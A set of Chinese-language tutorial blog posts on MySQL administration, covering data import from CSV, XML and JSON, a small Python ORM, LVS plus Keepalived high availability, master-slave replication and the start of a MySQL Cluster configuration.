将外部数据导入(import)数据库是在数据库应用中一个很常见的需求。其实这就是在数据的管理和操作中的ETL (Extract, transform, load)的L (Load)部分，也就是说，将特定结构(structure)或者格式(format)的数据导入某个目的地(比如数据库，这里我们讨论MySQL)。



本文要讨论的内容，是如何方便地将多种格式(JSON, Text, XML, CSV)的数据导入MySQL之中。

本文大纲：


	将Text文件（包括CSV文件）导入MySQL


	将XML文件导入MySQL


	将JSON文件导入MySQL


	使用MySQL workbench的Table Data Export and Import Wizard进行JSON或CSV文件的导入导出




1. 将Text文件（包括CSV文件）导入MySQL

这里我们的讨论是基于一个假定，Text file和CSV file是有着比较规范的格式的(properly formatted)，比如说每行的每个数据域(field)之间是由一个共同的分隔符（比如tab: \t）分隔的。

那么首先，你需要根据你的数据的格式（有哪些域），来设计好数据库的对应的表 （的Schema）。

举个例子，要处理的Text文件或者CSV文件是以\t作为分隔符的，每行有id, name, balance这么三个数据域，那么首先我们需要在数据库中创建这个表：

CREATE TABLE sometable(id INT, name VARCHAR(255), balance DECIMAL(8,4));

创建成功以后就可以导入了。操作方式很简单：

LOAD DATA LOCAL INFILE '你的文件路径（如~/file.csv）'  INTO TABLE sometable FIELDS TERMINATED BY '\t' [ENCLOSED BY '"'(可选)] LINES TERMINATED BY '\n' (id, name, balance)

这里要注意的是，我们需要开启local-infile这个MySQL的配置参数，才能够成功导入。究其原因，从MySQL的Manual中可以看到这么一段话：

LOCAL works only if your server and your client both have been configured to permit it. For example, if mysqld was started with --local-infile=0, LOCAL does not work. See Section 6.1.6, “Security Issues with LOAD DATA LOCAL”.



这是MySQL出于安全考虑的默认配置。因此，我们需要在配置文件my.cnf中（以Debian发行版的Linux, 如Ubuntu为例， 即是在/etc/my.cnf中），确保：

local-infile=1

抑或是在命令行启动MySQL时加上--local-infile这一项：

mysql --local-infile -uroot -pyourpwd yourdbname

此外，我们也可以使用MySQL的一个官方导入程序 mysqlimport，这个程序本质上就是为LOAD DATA FILE提供了一个命令行的interface，很容易理解，我们这里就不再详述。

2. 将XML文件导入MySQL

这件事的完成方式，与我们的XML的形式有着很大的关系。

举个例子说，当你的XML数据文件有着很非常规范的格式，比如：

<?xml version="1.0"?>
  <row>
    <field name="id">1</field>
    <field name="name">Free</field>
    <field name="balance">2333.3333</field>
   </row>

  <row>
    <field name="id">2</field>
    <field name="name">Niki</field>
    <field name="balance">1289.2333</field>
  </row>


或者

<row column1="value1" column2="value2" .../>


我们就可以很方便使用LOAD XML来导入，这里可以参见MySQL的官方手册--LOAD XML Syntax。

然而我们可能有另外一些需求，比如说，我们可能会想要将XML文件的域映射到不同名字的列(TABLE COLUMN)之中。这里要注意，MySQL v5.0.7以后，MySQL的Stored Procedure中不能再运行LOAD XML INFILE 或者LOAD DATA INFILE。所以转换的程序(procedure)的编写方式与在此之前有所不同。这里，我们需要使用 Load_File()和ExtractValue()这两个函数。

以下是一个示例XML文件和程序：
文件：

<?xml version="1.0"?>
<some_list>
  <someone id="1" fname="Rob" lname="Gravelle"/>
  <someone id="2" fname="Al" lname="Bundy"/>
  <someone id="3" fname="Little" lname="Richard"/>
</some_list>


程序：

DELIMITER $$
CREATE DEFINER=`root`@`localhost` PROCEDURE `import_some_xml`(path varchar(255), node varchar(255))
BEGIN
    declare xml_content text;
    declare v_row_index int unsigned default 0;   
    declare v_row_count int unsigned;  
    declare v_xpath_row varchar(255); 
 
    set xml_content = load_file(path);
 
    -- calculate the number of row elements.   
    set v_row_count  = extractValue(xml_content, concat('count(', node, ')')); 
    
    -- loop through all the row elements    
    while v_row_index < v_row_count do                
        set v_row_index = v_row_index + 1;        
        set v_xpath_row = concat(node, '[', v_row_index, ']/@*');
        insert into applicants values (
            extractValue(xml_content, concat(v_xpath_row, '[1]')),
            extractValue(xml_content, concat(v_xpath_row, '[2]')),
            extractValue(xml_content, concat(v_xpath_row, '[3]'))
        );
    end while;
END


在MySQL中，使用它进行导入：

call import_some_xml('你的XML文件路径', '/some_list/someone');

程序相当的直白，只要了解一下MySQL的脚本编写即可。

这里提一下DELIMITER $$。我们知道MySQL的命令分隔符默认为分号，然而脚本中很显然是有分号的，但是我们并不希望立即执行，所以我们需要临时更改分隔符。

3. 将JSON文件导入MySQL

如何将JSON文件导入MySQL中，是一个很有趣的话题。JSON是一种现在相当常用的文件结构，所以掌握它的导入具有比较广泛的意义。

很多时候，我们处理的JSON数据是以如下形式出现的：

{"name":"Julia","gender":"female"}
{"name":"Alice","gender":"female"}
{"name":"Bob","gender":"male"}
{"name":"Julian","gender":"male"}


而并不是规整的[{},{},{},{}]（一些NoSQL数据库的Export）。

这样的形势对于载入有一个好处：因为每一行是一个JSON Object，所以我们便可以按行处理此文件，而不需要因为JSON的严格结构将整个文件（比如一个许多G的.json文件）全部载入。

方式一 使用common-schema

common-schema是一个应用很广泛的MySQL的框架，它有着很丰富的功能和详细的文档。我们可以使用它的JSON解析的功能。（它还具有JSON转换成XML等等方便的功能）

具体说来，将common-schema导入之后，使用它的extract_json_value函数即可。源码中：

create function extract_json_value(
    json_text text charset utf8,
    xpath text charset utf8
) returns text charset utf8


该函数接受两个参数，一个是json_text，表示json文件的内容，另一个是xpath，表示数据的结构（这里可以类比XML文件的处理）。很多读者应该知道，XPath是用来对XML中的元素进行定位的，这里也可以作一样的理解。

以本段开始的几行JSON为例，这里common-schema的使用如下例：

select common_schema.extract_json_value(f.event_data,'/name') as name, common_schema.extract_json_value(f.event_data,'/gender') as gender, sum(f.event_count) as event_count from json_event_fact f group by name, gender;


关于event_data，我们需要先理解LOAD DATA INFILE是一个event，不同的event type对应不同的event data。这部分知识可以参看Event Data for Specific Event Types

如果感兴趣，可以参看其源码。参看一个受到广泛使用的项目的源码，对于自身成长是很有益的。

当然了，我们也可以像之前处理XML文件导入一样，自己编写程序。这里便不再给出实例程序，有兴趣的读者可以自行编写或者跟笔者交流。

方式二 使用mysqljsonimport

这是Anders Karlsson的一个完成度很高的作品。这一份程序由C写成。它依赖于一个JSON Parser，Jansson。他们都有着比较好的维护和文档，所以使用上体验很好。

mysqljsonimport的下载在SourceForge上。具体使用参照其文档即可。

为了方便不熟悉源码安装的朋友，笔者在这里提一下安装流程和注意事项。
安装命令顺序如下：

$ wget http://sourceforge.net/projects/mysqljson/files/myjsonimport_1.6/mysqljsonimport-1.6.tar.gz 
$ tar xvfz mysqljsonimport-1.6.tar.gz 
$ cd mysqljsonimport-1.6 
$ ./configure –-with-mysql=/xxx/mysql 
$ make
$ make check 
$ sudo make install


--with-mysql这一步不是必要的，只要你安装的mysql的路径是系统的默认路径。很关键的，而且很容易被不熟悉的朋友忽略的是，这一个C程序要成功编译和运行，是需要MySQL的C API的，所以需要安装的依赖，除了jansson，还有libmysqlclient-dev。

jansson的安装就是简单的源码安装，libmysqlclient-dev则可以使用包管理工具(比如ubuntu中使用apt-get即可；编译和安装前，建议先sudo apt-get update以避免不必要的麻烦)。

导入命令：

$ ./mysqljsonimport –-database test –-table tablename jsonfilename


还有一个parser，作者是Kazuho，感兴趣的读者可以参看一下，他的相关博文是mysql_json - a MySQL UDF for parsing JSON ，github项目是mysql_json。

4. 使用MySQL workbench

Workbench这个工具对于许多不熟悉SQL语言或者命令行的朋友还是很方便和友好的。利用它，可以方便地导入和导出CSV和JSON文件。

具体操作图例参见MySQL官方手册即可:Table Data Export and Import Wizard，这里不再赘述。



总结

本文介绍了将不同格式（JSON, Text, XML, CSV）的文件导入MySQL数据库的一些详细手段，并进行了一些分析，目的在于帮助读者扫除一些导入的障碍，理清一些概念。之所以没有讨论导出，是因为导出是一个MySQL到外的操作，是以MySQL本身为转移的，只要参考MySQL本身的机理即可。

真正对于大量数据的导入导出，需要思考的问题会很多(比如说在导入时，如何考虑Sharding)，这需要另开一篇讨论了。

谢谢阅读，欢迎指正。
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工作中难免有遇到 MySQL 欧巴的时候，奈何我是个记性不大好的人，临笔忘词，只能祭出谷歌大法，于是想着造个小破轮子，优雅地解决 Python 连接 MySQL 的问题。


这个轮子一定不要像 sqlalchemy 那么复杂，也不需要像 Django 的 ORM 那么丰富，就像一碗白米饭，管你吃饱，还为你解决三大问题：



	轻松连接 MySQL

	数据结构到模型的映射

	满足增改查的基本功能，避免手写SQL



创建连接


pythonfrom data_handler import Database

db_config = {
    'host': 'localhost',
    'port': 3306,
    'user': 'root',
    'password': '123456',
    'database': 'test'
}
Database.connect(**db_config)



定义模型


pythonfrom data_handler import Model, Field

class TestModel(Model):
  db_table = 'test'
  a = Field()
  b = Field()



插入


pythontest = TestModel()
test.a = 5
test.b = 'john'
test.save()



查询


pythonfor r in TestModel.where(a=5, b='john').select():
  print r.a
  print r.b



计数


pythonprint TestModel.where(a=5, b='john').count()



更新


pythonTestModel.where(a=5, b='john').update(a=1)



复杂查询请使用raw sql


pythonfrom data_handler import execute_raw_sql

results = execute_raw_sql('select b, count(*) from test where b = %s group by b;', (1,))
for val, cnt in results:
  print val, cnt



代码放GitHub了 -->  QuickORM



  来自：建造者说




 MySQL主主复制+LVS+Keepalived实现MySQL高可用性

作者：bestvivi

来源： MySQL主主复制+LVS+Keepalived实现MySQL高可用性



                    
MySQL复制能够保证数据的冗余的同时可以做读写分离来分担系统压力，如果是主主复制还可以很好的避免主节点的单点故障。但是MySQL主主复制存在一些问题无法满足我们的实际需要：未提供统一访问入口来实现负载均衡，如果其中master宕掉的话需要手动切换到另外一个master，而不能自动进行切换。

这篇文章下面要介绍如何通过LVS+Keepalived的方式来是实现MySQL的高可用性，同时解决以上问题。

Keepalived和LVS介绍

Keepalived是一个基于VRRP（虚拟路由冗余协议）可用来实现服务高可用性的软件方案，避免出现单点故障。Keepalived一般用来实现轻量级高可用性，且不需要共享存储，一般用于两个节点之间，常见有LVS+Keepalived、Nginx+Keepalived组合。

LVS(Linux Virtual Server)是一个高可用性虚拟的服务器集群系统。本项目在1998年5月由章文嵩博士成立，是中国国内最早出现的自由软件项目之一。
LVS主要用于多服务器的负载均衡，作用于网络层。LVS构建的服务器集群系统中，前端的负载均衡层被称为Director Server；后端提供服务的服务器组层被称为Real Server。通过下图可以大致了解LVS的基础架构。


LVS有三种工作模式，分别是DR（Direct Routing 直接路由）、TUN(Tunneling IP隧道）、NAT（Network Address Translation 网络地址转换）。其中TUN模式能够支持更多的Real Server，但需要所有服务器支持IP隧道协议；DR也可以支持相当的Real Server，但需要保证Director Server虚拟网卡与物理网卡在同一网段；NAT扩展性有限，无法支持更多的Real Server，因为所有的请求包和应答包都需要Director Server进行解析再生，影响效率。 同时，LVS负载均衡有10中调度算法，分别是rr、wrr、lc、wlc、lblc、lblcr、dh、sh、sed、nq

详细的LVS说明请参见 传送门

本文中将利用LVS实现MySQL的读写负载均衡，Keepalived避免节点出现单点故障。

LVS+Keepalived配置

环境准备

LVS1：192.168.1.2

LVS2：192.168.1.11

MySQL Server1：192.168.1.5

MySQL Server2：192.168.1.6

VIP：192.168.1.100

OS: CentOS 6.4



Keepalive安装

keepalived下载地址

需要安装以下软件包

# yum install -y kernel-devel openssl openssl-devel


解压keepalived到/usr/local/并进入目录执行配置编译

# ./configure --prefix=/usr/local/keepalived --with-kernel-dir=/usr/src/kernels/2.6.32-431.5.1.el6.x86_64/
Keepalived configuration
------------------------
Keepalived version       : 1.2.13
Compiler                 : gcc
Compiler flags           : -g -O2
Extra Lib                : -lssl -lcrypto -lcrypt 
Use IPVS Framework       : Yes
IPVS sync daemon support : Yes
IPVS use libnl           : No
fwmark socket support    : Yes
Use VRRP Framework       : Yes
Use VRRP VMAC            : Yes
SNMP support             : No
SHA1 support             : No
Use Debug flags          : No

# make && make install


默认情况下keepalived启动时会去/etc/keepalived目录下找配置文件，将需要的配置文件拷贝到指定位置


# cp /usr/local/keepalived/etc/rc.d/init.d/keepalived /etc/rc.d/init.d/
# cp /usr/local/keepalived/etc/sysconfig/keepalived /etc/sysconfig/
# cp /usr/local/keepalived/etc/keepalived/keepalived.conf /etc/keepalived/
# cp /usr/local/keepalived/sbin/keepalived /usr/sbin/
# chkconfig mysqld on
# chkconfig keepalived on


LVS安装

ipvsadm下载地址

需要安装以下软件包

# yum install -y libnl* popt*


查看是否加载lvs模块

# modprobe -l |grep ipvs


解压安装

# ln -s /usr/src/kernels/2.6.32-431.5.1.el6.x86_64/ /usr/src/linux
# tar -zxvf ipvsadm-1.26.tar.gz
# make && make install


LVS安装完成，查看当前LVS集群

# ipvsadm -L -n
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
-> RemoteAddress:Port           Forward Weight ActiveConn InActConn


LVS+Keepalived配置

搭建MySQL主主复制

这里不再赘述，请参考MySQL复制

配置Keepalived

下面是LVS1节点（Keepalived主节点）上的Keepalived配置，LVS2类似

# vim /etc/keepalived/keepalived.conf    

! Configuration File for keepalived

global_defs {
   router_id LVS1
}

vrrp_instance VI_1 {
    state MASTER #指定instance初始状态，实际根据优先级决定.backup节点不一样
    interface eth0 #虚拟IP所在网
    virtual_router_id 51 #VRID，相同VRID为一个组，决定多播MAC地址
    priority 100 #优先级，另一台改为90.backup节点不一样
    advert_int 1  #检查间隔
    authentication {
        auth_type PASS  #认证方式，可以是pass或ha
        auth_pass 1111  #认证密码
    }
    virtual_ipaddress {
        192.168.1.100  #VIP
    }
}

virtual_server 192.168.1.100 3306 {
    delay_loop 6  #服务轮询的时间间隔
    lb_algo wrr  #加权轮询调度，LVS调度算法 rr|wrr|lc|wlc|lblc|sh|sh
    lb_kind DR   #LVS集群模式 NAT|DR|TUN，其中DR模式要求负载均衡器网卡必须有一块与物理网卡在同一个网段
    #nat_mask 255.255.255.0
    persistence_timeout 50  #会话保持时间
    protocol TCP  #健康检查协议

     ## Real Server设置，3306就是MySQL连接端口
    real_server 192.168.1.5 3306 {
        weight 3  ##权重
        TCP_CHECK {
            connect_timeout 3
            nb_get_retry 3
            delay_before_retry 3
            connect_port 3306
        }
    }
    real_server 192.168.1.6 3306 {
        weight 3
        TCP_CHECK {
            connect_timeout 3
            nb_get_retry 3
            delay_before_retry 3
            connect_port 3306
        }
    }
}


配置LVS

编写LVS启动脚本/etc/init.d/realserver

#!/bin/sh
VIP=192.168.1.100
. /etc/rc.d/init.d/functions

case "$1" in
# 禁用本地的ARP请求、绑定本地回环地址
start)
    /sbin/ifconfig lo down
    /sbin/ifconfig lo up
    echo "1" >/proc/sys/net/ipv4/conf/lo/arp_ignore
    echo "2" >/proc/sys/net/ipv4/conf/lo/arp_announce
    echo "1" >/proc/sys/net/ipv4/conf/all/arp_ignore
    echo "2" >/proc/sys/net/ipv4/conf/all/arp_announce
    /sbin/sysctl -p >/dev/null 2>&1
    /sbin/ifconfig lo:0 $VIP netmask 255.255.255.255 up #在回环地址上绑定VIP，设定掩码，与Direct Server（自身）上的IP保持通信
    /sbin/route add -host $VIP dev lo:0
    echo "LVS-DR real server starts successfully.\n"
    ;;
stop)
    /sbin/ifconfig lo:0 down
    /sbin/route del $VIP >/dev/null 2>&1
    echo "1" >/proc/sys/net/ipv4/conf/lo/arp_ignore
    echo "2" >/proc/sys/net/ipv4/conf/lo/arp_announce
    echo "1" >/proc/sys/net/ipv4/conf/all/arp_ignore
    echo "2" >/proc/sys/net/ipv4/conf/all/arp_announce
echo "LVS-DR real server stopped.\n"
    ;;
status)
    isLoOn=`/sbin/ifconfig lo:0 | grep "$VIP"`
    isRoOn=`/bin/netstat -rn | grep "$VIP"`
    if [ "$isLoON" == "" -a "$isRoOn" == "" ]; then
        echo "LVS-DR real server has run yet."
    else
        echo "LVS-DR real server is running."
    fi
    exit 3
    ;;
*)
    echo "Usage: $0 {start|stop|status}"
    exit 1
esac
exit 0


将lvs脚本加入开机自启动

# chmod +x /etc/init.d/realserver
# echo "/etc/init.d/realserver" >> /etc/rc.d/rc.local


分别启动LVS和keepalived

# service realserver start
# service keepalived start

注意此时网卡的变化，可以看到虚拟网卡已经分配到了realserver上。

此时查看LVS集群状态，可以看到集群下有两个Real Server，调度算法，权重等信息。ActiveConn代表当前Real Server的活跃连接数

# ipvsadm -ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  192.168.1.100:3306 wrr persistent 50
  -> 192.168.1.5:3306             Route   3      4          1         
  -> 192.168.1.6:3306             Route   3      0          2    


此时LVS+Keepalived+MySQL主主复制已经搭建完成。

测试验证

功能性验证

关闭MySQL Server2

# service mysqld stop

在LVS1查看/var/log/messages中关于keepalived日志，LVS1检测到了MySQL Server2宕机，同时LVS集群自动剔除了故障节点

Sep  9 13:50:53 192.168.1.2 Keepalived_healthcheckers[18797]: TCP connection to [192.168.1.6]:3306 failed !!!
Sep  9 13:50:53 192.168.1.2 Keepalived_healthcheckers[18797]: Removing service [192.168.1.6]:3306 from VS [192.168.1.100]:3306


从新启动MySQL Server2后自动将故障节点自动加入LVS集群

Sep  9 13:51:41 192.168.1.2 Keepalived_healthcheckers[18797]: TCP connection to [192.168.1.6]:3306 success.
Sep  9 13:51:41 192.168.1.2 Keepalived_healthcheckers[18797]: Adding service [192.168.1.6]:3306 to VS [192.168.1.100]:3306


关闭LVS1上的Keepalived（模拟宕机操作），查看LVS1上的日志，可以看到Keepalived移出了LVS1上的VIP

Sep  9 14:01:27 192.168.1.2 Keepalived[18796]: Stopping Keepalived v1.2.13 (09/09,2014)
Sep  9 14:01:27 192.168.1.2 Keepalived_healthcheckers[18797]: Removing service [192.168.1.5]:3306 from VS [192.168.1.100]:3306
Sep  9 14:01:27 192.168.1.2 Keepalived_healthcheckers[18797]: Removing service [192.168.1.6]:3306 from VS [192.168.1.100]:3306
Sep  9 14:01:27 192.168.1.2 Keepalived_vrrp[18799]: VRRP_Instance(VI_1) sending 0 priority
Sep  9 14:01:27 192.168.1.2 Keepalived_vrrp[18799]: VRRP_Instance(VI_1) removing protocol VIPs.


同时查看LVS2上日志，可以看到LVS2成为了Master，并接管了VIP

Sep  9 14:11:24 192.168.1.11 Keepalived_vrrp[7457]: VRRP_Instance(VI_1) Transition to MASTER STATE
Sep  9 14:11:25 192.168.1.11 Keepalived_vrrp[7457]: VRRP_Instance(VI_1) Entering MASTER STATE
Sep  9 14:11:25 192.168.1.11 Keepalived_vrrp[7457]: VRRP_Instance(VI_1) setting protocol VIPs.
Sep  9 14:11:25 192.168.1.11 Keepalived_vrrp[7457]: VRRP_Instance(VI_1) Sending gratuitous ARPs on eth0 for 192.168.1.100
Sep  9 14:11:25 192.168.1.11 Keepalived_healthcheckers[7456]: Netlink reflector reports IP 192.168.1.100 added
Sep  9 14:11:25 192.168.1.11 avahi-daemon[1407]: Registering new address record for 192.168.1.100 on eth0.IPv4.
Sep  9 14:11:30 192.168.1.11 Keepalived_vrrp[7457]: VRRP_Instance(VI_1) Sending gratuitous ARPs on eth0 for 192.168.1.100


在LVS2上查看LVS集群状态，一切正常。

# ipvsadm -ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  192.168.1.100:3306 wrr persistent 50
  -> 192.168.1.5:3306             Route   3      2          0         
  -> 192.168.1.6:3306             Route   3      1          0 


总结


	MySQL主主复制是集群的基础，组成Server Array，其中每个节点作为Real Server。


	LVS服务器提供了负载均衡的作用，将用户请求分发到Real Server，一台Real Server故障并不会影响整个集群。


	Keepalived搭建主备LVS服务器，避免了LVS服务器的单点故障，出现故障时可以自动切换到正常的节点。




原文参考
"http://bestvivi.com/2015/09/09/MySQL主主复制+LVS+Keepalived实现MySQL高可用性"
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MySQL复制介绍

MySQL复制就是一台MySQL服务器（slave）从另一台MySQL服务器（master）进行日志的复制然后再解析日志并应用到自身，类似Oracle中的Data Guard。

MySQL复制有那些好处：


	第一是解决宕机带来的数据不一致，因为MySQL复制可以实时备份数据；


	第二点是减轻数据库服务器的压力，多台服务器的性能一般比单台要好。但是MySQL复制不适合大数据量，大数据量推荐使用集群。




MySQL复制过程分成三步：


	master将改变记录到二进制日志（binary log）。这些记录过程叫做二进制日志事件，binary log events；


	slave将master的binary log events拷贝到它的中继日志（relay log）；


	slave重做中继日志中的事件，将改变应用到自己的数据库中。




MySQL复制是异步的且串行化的



MySQL复制搭建

环境准备

master  192.168.1.5     rac1-node.tp-link.net

slave   192.168.1.6     rac2-node.tp-link.net

OS：Oracle Linux 6.1

MySQL：5.5.37

Master配置

分配复制权限

    mysql> grant replication client,replication slave on *.* to root@'192.168.1.%' identified by 'root';
    Query OK, 0 rows affected (0.00 sec)


清空日志文件

    mysql> show binary logs;
    +------------------+-----------+
    | Log_name         | File_size |
    +------------------+-----------+
    | mysql-bin.000001 |     26636 |
    | mysql-bin.000002 |   1069399 |
    | mysql-bin.000003 |     26636 |
    | mysql-bin.000004 |   1069399 |
    | mysql-bin.000005 |       536 |
    +------------------+-----------+
    5 rows in set (0.00 sec)

    mysql> reset master;
    Query OK, 0 rows affected (0.01 sec)
    +------------------+-----------+
    | Log_name         | File_size |
    +------------------+-----------+
    | mysql-bin.000001 |       107 |
    +------------------+-----------+
    1 row in set (0.00 sec)


Slave设置

1） 修改从服务器server-id

    # vim /etc/my.cnf
    server-id = 2


修改完以后需要重启数据库

2）清空日志文件，同Master

3）让slave连接master并开始重做master二进制日志中的事件

    mysql> change master to

MASTER_LOG_POS的值为0，因为它是日志的开始位置

这里注意：默认情况下，会同步该用户下所有的DB，可以在/etc/my.inf中通过参数binlog-do-db、binlog-ignore-db设置需要同步的数据库。

4）开启slave

    mysql> start slave;
    Query OK, 0 rows affected (0.00 sec)


5）确认Slave是否和Mater成功通信。如果 Slave_IO_Running和Slave_SQL_Running都是yes，则证明配置成功

    mysql> show slave status\G;
    *************************** 1. row ***************************
                   Slave_IO_State: Waiting for master to send event
                      Master_Host: 192.168.1.5
                      Master_User: root
                      Master_Port: 3306
                    Connect_Retry: 60
                  Master_Log_File: mysql-bin.000001
              Read_Master_Log_Pos: 107
                   Relay_Log_File: rac-node2-relay-bin.000002
                    Relay_Log_Pos: 253
            Relay_Master_Log_File: mysql-bin.000001
                **Slave_IO_Running: Yes**
                **Slave_SQL_Running: Yes**
                  Replicate_Do_DB:
              Replicate_Ignore_DB:
               Replicate_Do_Table:
           Replicate_Ignore_Table:
          Replicate_Wild_Do_Table:
      Replicate_Wild_Ignore_Table:
                       Last_Errno: 0
                       Last_Error:
                     Skip_Counter: 0
              Exec_Master_Log_Pos: 107
                  Relay_Log_Space: 413
                  Until_Condition: None
                   Until_Log_File:
                    Until_Log_Pos: 0
               Master_SSL_Allowed: No
               Master_SSL_CA_File:
               Master_SSL_CA_Path:
                  Master_SSL_Cert:
                Master_SSL_Cipher:
                   Master_SSL_Key:
            Seconds_Behind_Master: 0
    Master_SSL_Verify_Server_Cert: No
                    Last_IO_Errno: 0
                    Last_IO_Error:
                   Last_SQL_Errno: 0
                   Last_SQL_Error:
      Replicate_Ignore_Server_Ids:
                 Master_Server_Id: 1
    1 row in set (0.00 sec)


测试

Master创建数据库

    mysql> create database d;
    mysql> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | d                  |
    | mysql              |
    | performance_schema |
    | test               |
    +--------------------+


Slave查看数据库已同步

    mysql> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | d                  |
    | mysql              |
    | performance_schema |
    | test               |
    +--------------------+
    mysql> use d
    mysql> create table t(id int);


Slave查看

    mysql> show tables;
    mysql> select * from t;
    +------+
    |    1 |
    +------+


通过以上验证，可以看到主服务器上的修改能够正常同步到从服务器。

其他复制方式

主主复制

master-slave只能进行单向操作，像网络中的半双工。master-master可以实现服务器之间互相同步。主主复制最大的问题就是数据插入或更新冲突。配置方法同主从复制，反过来让slave同步master。注意master_log_file和master_log_pos参数要与master上对应。具体可以参考这里

单一master和多slave

由一个master和多个slave组成的复制系统比较简单。slave之间并不互相通信，只能与master通信。如果写操作较少，读操作很多，可以采用。可以将读操作分布到其他slave，从而减轻master的压力。但slave增加到一定数量时，slave对master的负载以及网络带宽都会成为问题。

主从多级复制

读操作很多可以采用单一maste和多slave，但增大到一定slave后连到master的slaveIO线程太多会造成master压力增大，从而造成数据复制延时。
多级复制就是为了解决这个问题。



当然，增加复制的级联层次，同一个变更传到最底层的Slave所需要经过的MySQL也会更多，同样可能造成延时较长的风险。如果条件允许，倾向于通过拆分成多个Replication集群来解决

原文地址 http://bestvivi.com
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MySQL Cluster介绍

MySQL Cluster是一个高性能、可扩展、集群化数据库产品。MySQL Cluster是一个基于NDB Cluster存储引擎的完整分布式数据库系统，采用无共享的数据存储技术，实时同步且支持快速故障切换、事务。NDB是一种in-memory的存储引擎，它具有可用性高和数据一致性好的特点。

MySQL Cluster可由多台服务器组成的、同时对外提供数据管理服务的分布式集群系统。通过合理的配置，可以将服务请求在多台物理机上分发实现负载均衡 ；同时内部实现了冗余机制，在部分服务器宕机的情况下，整个集群对外提供的服务不受影响，从而能达到99.999%以上的高可用性。



MySQL Cluster分为三类节点：


	数据节点（Data Nodes）：用于存储集群的数据。实现底层数据存储的功能，保存Cluster 的数据。每一个NDB 节点保存完整数据的一部分（或者一份完整的数据，视节点数目和配置而定），在MySQL Cluster 里面叫做一个fragment。而每一个fragment，正常情况来讲都会在其他的主机上面有一份（或者多分）完全相同的镜像存在。这些都是通过配置来完成的，所以只要配置得当，MySQL Cluster 在存储层不会出现单点的问题。数据节点是用命令ndbd启动的。


	SQL节点（SQL Nodes）：向外提供一个标准的SQL语言编程接口。SQL节点负责向数据节点传送访问请求，具体集群过程以及数据库底层均对外透明。
SQL节点提供用户SQL指令请求，解析、连接管理，query优化和响、cache管理等、数据merge、sort，裁剪等功能，当SQL节点启动时，将向管理节点同步架构信息，用以数据查询路由。SQL节点作为查询入口，需要消耗大量cpu及内存资源，可使用分布式管理节点，并在SQL节点外封装一层请求分发及HA控制机制可解决单点及性能问题，其提供了线性扩展功能。SQL节点是使用命令mysqld -ndbcluster启动的，或将ndbcluster添加到“my.cnf”后使用“mysqld”启动。


	管理节点（NDB Management Server）：负责整个Cluster 集群中各个节点的管理工作，包括集群的配置，启动关闭各节点，以及实施数据的备份恢复等。管理节点会获取整个Cluster 环境中各节点的状态和错误信息，并且将各Cluster 集群中各个节点的信息反馈给整个集群中其他的所有节点。通常只需配置一个管理节点；然而为了排除单点故障需要，有可能的话，尽量增加管理节点的数量。MGM节点是用命令ndb_mgm启动的。




MySQL Cluster搭建

环境准备

数据节点：192.168.1.5        192.168.1.6
SQL节点：192.168.1.2        192.168.1.11
管理节点：192.168.1.10

Mysql集群软件：mysql-cluster-gpl-7.2.8-linux2.6-x86_64.tar.gz 下载地址

管理节点配置

将MySQL集群软件拷贝到管理节点的/usr/local目录下并解压为mysql，MySQLCluster管理节点默认是要安装在/usr/local下的，否则启动会报错

添加用户及用户组

# groupadd mysql
# useradd -g mysql mysql


更改所属用户和组

# chown -R mysql:mysql mysql

拷贝配置文件

# cp mysql-cluster/support-files/ndb-config-2-node.ini /etc/ndb-config.ini


修改配置文件，管理节点的配置文件非常重要，会影响整个集群

# vim /etc/ndb-config.ini

[ndbd default]
NoOfReplicas= 2  #定义在Cluster环境中复制份数
DataMemory= 80M #分配的数据内存大小，根据本机服务器内存适量来分配，实际运用中需要分配很大
IndexMemory= 24M #设定用于存放索引（非主键）数据的内存段大小
#一个NDB节点能存放的数据量是会受到DataMemory和IndexMemory两个参数设置的约束，两者任何一个达到限制数量后，都无法再增加能存储的数据量。如果继续存入数据系统会报错“table is full”。
DataDir= /var/lib/mysql-cluster  #用于存放集群日志信息

DataMeomory=1400M
IndexMemory=600M
LockPagesInMainMemory=1  # 会有问题
MaxNoOfConcurrentOperations=500000
TimeBetweenLocalCheckpoints=20
TimeBetweenGlobalCheckpoints=1000
TimeBetweenEpochs=100
TimeBetweenWatchdogCheckInitial=60000
TransactionInactiveTimeout =50000
MaxNoOfExecutionThreads=8 
BatchSizePerLocalScan=512 
MaxNoOfOrderedIndexes=512
MaxNoOfConcurrentOperations= 10000

[ndb_mgmd]
Id=1
Hostname=192.168.1.10  # Hostname or IP address
#确定该目录存在，并修改所属用户为mysql
DataDir= /var/lib/mysql-cluster # Directory for MGM node logfiles

[ndbd]
Id= 2
HostName= 192.168.1.5 # Hostname or IP address
datadir=/usr/local/mysql/data # Directory for this data node's datafiles，数据节点存放数据的目录

[ndbd]
Id= 3
HostName= 192.168.1.6
datadir=/usr/local/mysql/data

[mysqld]
Id= 4
HostName= 192.168.1.2
#可以预留一些节点
# choose an unused port number
# in this configuration 63132, 63133, and 63134
# will be used
[tcp default]
PortNumber= 63132


配置完后启动管理节点

# ./ndb_mgmd --initial -f /etc/ndb-config.ini 
MySQL Cluster Management Server mysql-5.5.27 ndb-7.2.8
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 31: [MGM] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 35: [DB] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 39: [DB] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 43: [API] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 50: [tcp] PortNumber is deprecated
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 31: [MGM] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 35: [DB] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 39: [DB] Id is deprecated, use NodeId instead
2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 43: [API] Id is deprecated, use NodeId instead
